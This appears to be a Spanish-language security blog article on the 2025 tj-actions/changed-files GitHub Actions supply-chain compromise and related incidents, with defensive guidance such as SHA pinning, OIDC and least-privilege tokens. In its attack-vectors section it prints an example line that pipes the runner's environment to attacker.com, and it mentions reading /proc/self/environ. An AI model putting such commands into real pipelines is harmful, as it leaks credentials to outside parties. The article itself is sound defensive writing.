|

23,000 repos comprometidos por sus propios pipelines

En marzo de 2025, un ataque de supply chain contra la acción de GitHub tj-actions/changed-files comprometió más de 23,000 repositorios, exponiendo secretos como tokens de AWS, claves privadas RSA y credenciales de GitHub a través de los logs públicos de sus propios pipelines. El vector fue simple y brutal: un token PAT comprometido permitió modificar retroactivamente todos los tags del repositorio para apuntar a código malicioso. El CVE asignado es el CVE-2025-30066.

En 30 segundos

  • El ataque al tj-actions/changed-files afectó más de 23,000 repositorios en marzo de 2025 mediante modificación retroactiva de tags de Git.
  • Los secretos robados (tokens AWS, claves RSA, tokens GitHub) se imprimían directamente en los logs públicos del pipeline.
  • El vector inicial fue un token PAT comprometido que tenía permisos de escritura sobre el repositorio de la acción.
  • Ataques similares afectaron Trivy (75 tags comprometidas), Megalodon (5,561 repos) y GhostAction (3,325 secretos robados).
  • La defensa más efectiva es pinear acciones a un commit SHA específico en lugar de usar tags o ramas.

El Incidente del tj-actions: 23,000 Repositorios y el robo de secretos GitHub Actions más grande del año

tj-actions/changed-files es una acción de GitHub que detecta qué archivos cambiaron en un pull request o push. La usan miles de proyectos para decidir qué tests correr, qué partes del build disparar. Completamente legítima, ampliamente adoptada, con decenas de miles de estrellas.

Lo que pasó el 14 de marzo de 2025 fue esto: alguien obtuvo acceso al token PAT del mantenedor del repositorio. Con ese acceso, modificaron retroactivamente todos los tags del repo para que apuntaran a un commit malicioso que, al ejecutarse en el contexto del workflow, volcaba el contenido de las variables de entorno directamente en los logs del pipeline. Si el repo era público, esos logs también eran públicos. Si tenías AWS_SECRET_ACCESS_KEY o GITHUB_TOKEN configurados como secretos en tu workflow, aparecían en texto plano en la pantalla de cualquier persona que mirara la ejecución.

¿Y qué hizo GitHub Actions cuando esto pasó? El pipeline mostró verde. No hubo alerta. No hubo email. Todo normal.

Según el análisis de Wiz, el radio de blast fue enorme porque la acción se usaba en configuraciones del tipo uses: tj-actions/changed-files@v35 o @v44, donde el tag es mutable. Cuando el atacante movió todos esos tags al commit malicioso, cada pipeline que corrió durante la ventana de ataque ejecutó el código inyectado sin saberlo.

Cómo Funcionan los Ataques a Pipelines CI/CD

Ponele que tu pipeline de CI/CD hace exactamente esto: corre tests, compila, despliega. Para hacer eso, necesita credenciales. AWS para subir artefactos, un token de GitHub para crear releases, una clave SSH para conectarse al servidor. Esas credenciales están en algún lado, y ese “algún lado” es el entorno del runner.

Los atacantes lo saben. La estrategia no es hackear tu código directamente sino contaminar una dependencia que ya tiene acceso a ese entorno. En GitHub Actions, cada uses: nombre/accion@version es básicamente decirle a tu pipeline “ejecutá este código de terceros con acceso a todos mis secretos”. Si ese código de terceros fue comprometido, el juego terminó.

Los vectores más comunes, según el análisis de Unit 42 de Palo Alto Networks, son:

  • Tag spoofing: mover un tag existente (como v44) para que apunte a un commit diferente. Git permite hacer esto por defecto, y la mayoría de los workflows no lo previene.
  • Imposter commits: el atacante ya tiene acceso al repo de la acción (por credenciales comprometidas o por haber tomado el control de una cuenta abandonada) y hace push de código malicioso.
  • Pull request attacks: aprovechar workflows que usan el trigger pull_request_target, que corre en el contexto del repo base con acceso completo a los secretos, incluso cuando el PR viene de un fork externo.

El resultado final siempre es el mismo: el código malicioso corre dentro del contexto del workflow, donde puede leer variables de entorno, dumpear memoria, o exfiltrar archivos. Lo más común es imprimir todo directamente en los logs, que en repos públicos son accesibles sin autenticación.

Vectores de Ataque Reales: Del Código a Tus Secretos

Hay una técnica que siempre me parece elegante en su simpleza. El atacante inyecta algo como esto en el código de la acción:

run: env | base64 | curl -d @- https://attacker.com/collect

O, para pasar desapercibido en los logs, codifica la exfiltración en base64 y la manda a un endpoint externo. Otros simplemente imprimen cat /proc/self/environ directamente, porque en el contexto del ataque a tj-actions la velocidad importaba más que la discreción.

El evento pull_request_target merece mención aparte porque es una trampa para programadores con buenas intenciones. Se introdujo para permitir que los PRs de forks pudieran disparar workflows con acceso a secretos (útil para ejecutar deploys de preview, por ejemplo). El problema es que si no tenés cuidado, cualquiera que abra un PR desde un fork puede ejecutar código arbitrario en tu runner con acceso completo a todos tus secretos configurados. No hace falta comprometer ninguna dependencia. Solo hace falta abrir un PR.

Los memory dumps son menos frecuentes pero existen: en algunos entornos, el runner tiene acceso a /proc o puede usar herramientas del sistema para volcar la memoria del proceso principal. No es trivial, pero tampoco es ciencia ficción.

Otros Ataques Similares: Trivy, Megalodon y GhostAction

El tj-actions no fue un incidente aislado. Hay un patrón claro de ataques contra el ecosistema de GitHub Actions, y la frecuencia viene aumentando. Te puede servir nuestra cobertura en cualquiera de los principales pipelines CI/CD.

AtaqueFechaRepos/Secretos AfectadosMétodo
tj-actions/changed-filesMarzo 202523,000+ repositoriosTag spoofing via PAT comprometido
Trivy Action202575 tags comprometidasModificación directa del repositorio de la acción
Campaña Megalodon20255,561 repositoriosAcciones maliciosas distribuidas en múltiples repos
GhostAction20253,325 secretos robadosAcciones fantasma con nombres similares a populares
robo secretos github actions diagrama explicativo

Según el reporte de GitGuardian sobre GhostAction, esa campaña se basó en crear acciones con nombres muy similares a acciones populares pero con pequeñas diferencias tipográficas. Typosquatting, básicamente, aplicado al ecosistema de CI/CD. Si alguien escribía tj-action/changed-files en vez de tj-actions/changed-files (sin la “s”), descargaba la versión maliciosa.

El ataque a Trivy, el scanner de vulnerabilidades de Aqua Security, fue diferente: comprometieron el repositorio directamente y modificaron 75 tags para apuntar a código que exfiltraba secretos. Trivy se usa en muchísimos pipelines de seguridad, con la ironía de que el tool que debía detectar vulnerabilidades era el vector del ataque (sí, en serio).

7 Formas de Proteger Tu Pipeline

Basado en las recomendaciones del análisis técnico detallado y lo que realmente funciona en la práctica:

1. Pinear acciones a un commit SHA, no a un tag

La diferencia entre seguro e inseguro es un hash. En vez de:

uses: tj-actions/changed-files@v44

Usá:

uses: tj-actions/changed-files@c3d823e0fd7f4e13a37b3d58b0c6cc2fb6cf65ee

Un tag es mutable. Un commit SHA es inmutable. Si el atacante mueve el tag, tu workflow sigue apuntando al commit que vos verificaste. Herramientas como pin-github-action automatizan este proceso para todos tus workflows.

2. Limitar los permisos del GITHUB_TOKEN

Por defecto, el GITHUB_TOKEN en muchos repos tiene permisos de escritura sobre el repositorio completo. Agregar esto a tu workflow cambia eso:

permissions: read-all

Y después sobreescribís solo los permisos que realmente necesitás para ese job específico. Principio de mínimo privilegio aplicado a CI/CD.

3. Usar OIDC en vez de credenciales de larga duración

Si desplegás en AWS, GCP o Azure, hay una forma mejor que guardar un AWS_SECRET_ACCESS_KEY como secreto permanente: OIDC (OpenID Connect). Con OIDC, el workflow solicita un token de corta duración directamente al proveedor cloud durante la ejecución. No hay secreto que robar porque el secreto no existe hasta que se necesita y expira a los pocos minutos.

4. Separar workflows con y sin acceso a secretos

El patrón de dos workflows es una solución elegante al problema de pull_request_target: un primer workflow corre en el contexto del fork (sin secretos) y hace el trabajo de validación, y un segundo workflow (disparado solo cuando el primero pasa) corre con acceso a secretos. Así, ningún código externo toca nunca el contexto privilegiado.

5. Validar y sanitizar inputs del workflow

Si tu workflow toma inputs (nombre de rama, ambiente, parámetro de deploy), validalos explícitamente antes de usarlos en comandos shell. La inyección de comandos a través de expressions de GitHub Actions (${ github.event.issue.title } metido directamente en un run:) es más común de lo que parece.

6. Auditar regularmente las acciones que usás

Dependabot ahora soporta actualizaciones de GitHub Actions y puede alertarte cuando una acción cambia de versión. Pero más allá de las actualizaciones automáticas, hacer una revisión periódica de qué acciones de terceros usás y con qué permisos es algo que poca gente hace. Habría que ver cuántos repos tienen acciones que llevan meses sin revisar apuntando a tags genéricos.

7. Activar alertas de secret scanning

GitHub tiene secret scanning nativo que puede detectar si un secreto conocido aparece en un commit o en los logs de un workflow. No está habilitado por defecto en todos los planes. Si tenés GitHub Advanced Security, activalo ya. Si no, hay alternativas open source que podés integrar al pipeline.

¿Fuiste Comprometido? Cómo Detectarlo y Responder

Primero, verificar si usabas tj-actions/changed-files en algún workflow entre el 14 y el 15 de marzo de 2025. Si el workflow corrió durante esa ventana con una versión de tag (no SHA), lo más probable es que los secretos configurados para ese workflow se hayan expuesto. Ya lo cubrimos antes en al comparar diferentes plataformas de automatización.

Los pasos inmediatos:

  • Rotá todas las credenciales usadas en workflows afectados: tokens de AWS, claves de API, tokens de GitHub, cualquier secreto configurado en el repo. No lo dejes para después.
  • Revisá los logs de acceso en tus sistemas: buscá actividad anómala desde las IPs y timestamps que coincidan con la ventana del ataque. Si tenés CloudTrail en AWS, mirá ahí primero.
  • Auditá el historial de git de tus workflows: cualquier cambio no autorizado en archivos .github/workflows/ es una señal de alerta.
  • Buscá en tus logs de Actions: si los logs contienen líneas que parecen dumps de variables de entorno o comandos de exfiltración, el workflow fue ejecutado con el código malicioso.

¿Alguien verificó de forma independiente el alcance total del ataque? Los números de 23,000 repos vienen de análisis de terceros, no de GitHub. La empresa no publicó cifras oficiales sobre repositorios afectados.

Para repos que usaban la acción pero no saben si corrieron durante la ventana del ataque, Hispasec documentó cómo revisar el historial de ejecuciones de workflows en la pestaña Actions de GitHub, filtrando por fecha.

Qué Está Confirmado y Qué No

AspectoEstadoFuente
CVE-2025-30066 asignado al ataque tj-actionsConfirmadoGitHub Advisory Database
23,000+ repositorios afectadosConfirmado (estimado por análisis independientes)Wiz, Unit42
Vector de entrada: PAT comprometido del mantenedorConfirmadoCISA Alert del 18/03/2025
Identidad del atacanteNo confirmado públicamenteInvestigación en curso
Número exacto de secretos robados y usadosNo confirmadoNo hay cifras oficiales
Relación entre tj-actions y el ataque a reviewdog/action-setupConfirmado como ataque coordinadoCISA, Palo Alto

Errores Comunes

Error 1: Creer que secretos = seguros si están en GitHub Secrets. GitHub Secrets cifra las variables en reposo y no las muestra en los logs por defecto. Pero si una acción maliciosa corre en tu contexto, puede leerlas directamente desde las variables de entorno del proceso. El cifrado en reposo no te protege de código que se ejecuta con acceso al entorno donde esas variables ya están decifradas.

Error 2: Pensar que solo los repos públicos son objetivo. En repos privados los logs no son públicos, pero el atacante puede exfiltrar los secretos a un endpoint externo igualmente. La privacidad del repo no cambia que el código malicioso tenga acceso completo al entorno del runner.

Error 3: Actualizar a la última versión del tag como solución. Después del incidente, mucha gente actualizó de @v44 a @v46 (la versión “limpia”). El problema es que un tag sigue siendo mutable. La solución correcta es piñar a un SHA. Actualizar el tag es solo un parche temporal que puede ser replicado en el futuro.

Preguntas Frecuentes

¿Qué pasó exactamente en el incidente del tj-actions en marzo de 2025?

Un atacante comprometió el token PAT del mantenedor del repositorio tj-actions/changed-files y lo usó para reescribir retroactivamente todos los tags del repo para que apuntaran a un commit malicioso. Ese commit inyectaba código que volcaba las variables de entorno del runner (incluyendo secretos) en los logs del workflow. El incidente afectó más de 23,000 repositorios durante la ventana del 14 al 15 de marzo de 2025.

¿Cómo protejo los secretos de mi pipeline de CI/CD?

La medida más efectiva es pinear todas las acciones de terceros a un commit SHA específico en lugar de usar tags. Complementariamente, usá OIDC para credenciales cloud (evitás guardar secretos de larga duración), limité los permisos del GITHUB_TOKEN al mínimo necesario, y activá el secret scanning nativo de GitHub. Ninguna medida aislada es suficiente; se necesita el conjunto.

¿Cuál es la diferencia entre los ataques a Trivy y tj-actions?

Ambos fueron ataques de supply chain contra acciones de GitHub, pero con vectores diferentes. En tj-actions, el atacante comprometió las credenciales del mantenedor y modificó los tags existentes del repositorio. En Trivy, también comprometieron el repo directamente, afectando 75 tags. GhostAction, otro ataque del mismo período, funcionó diferente: usó typosquatting, creando repos con nombres casi idénticos a acciones populares para que los errores de tipeo llevaran al código malicioso.

¿Cómo sé si mis repositorios fueron afectados por el ataque?

Verificá si algún workflow usaba tj-actions/changed-files con un tag (no SHA) entre el 14 y 15 de marzo de 2025. Si la respuesta es sí, tratá los secretos de ese workflow como comprometidos y rotalos de inmediato. Revisá los logs de esas ejecuciones buscando contenido inusual, especialmente dumps de variables de entorno o requests a dominios externos no esperados.

¿Cuáles son las mejores prácticas de seguridad en GitHub Actions?

Las cinco prácticas más impactantes: (1) pinear acciones a commit SHA, no tags; (2) usar OIDC para credenciales cloud; (3) limitar permisos del GITHUB_TOKEN con permissions: read-all y sobreescribir solo lo necesario; (4) separar workflows con y sin acceso a secretos para PRs de forks; (5) auditar regularmente las acciones de terceros que usás. La alerta de CISA del 18 de marzo de 2025 tiene guía adicional.

Conclusión

El incidente del tj-actions no fue una vulnerabilidad en GitHub ni un bug en el código de nadie. Fue el resultado lógico de un modelo de seguridad donde confiar en un tag de terceros equivale a darle acceso completo a tus secretos a quien controle ese tag. El robo de secretos GitHub Actions a escala fue posible porque el ecosistema estaba, y en muchos casos sigue estando, construido sobre esa confianza implícita.

La buena noticia es que las soluciones técnicas existen, son conocidas y no son complejas de implementar. Piñar a SHAs, usar OIDC, limitar permisos. No requieren presupuesto extra ni herramientas de pago.

Lo que requieren es tiempo y atención que la mayoría de los equipos no prioriza hasta que algo se rompe. Tomalo con pinzas cuando alguien te diga que “esto no les va a pasar”: 23,000 equipos pensaban lo mismo en marzo de 2025.

Fuentes

Te puede interesar...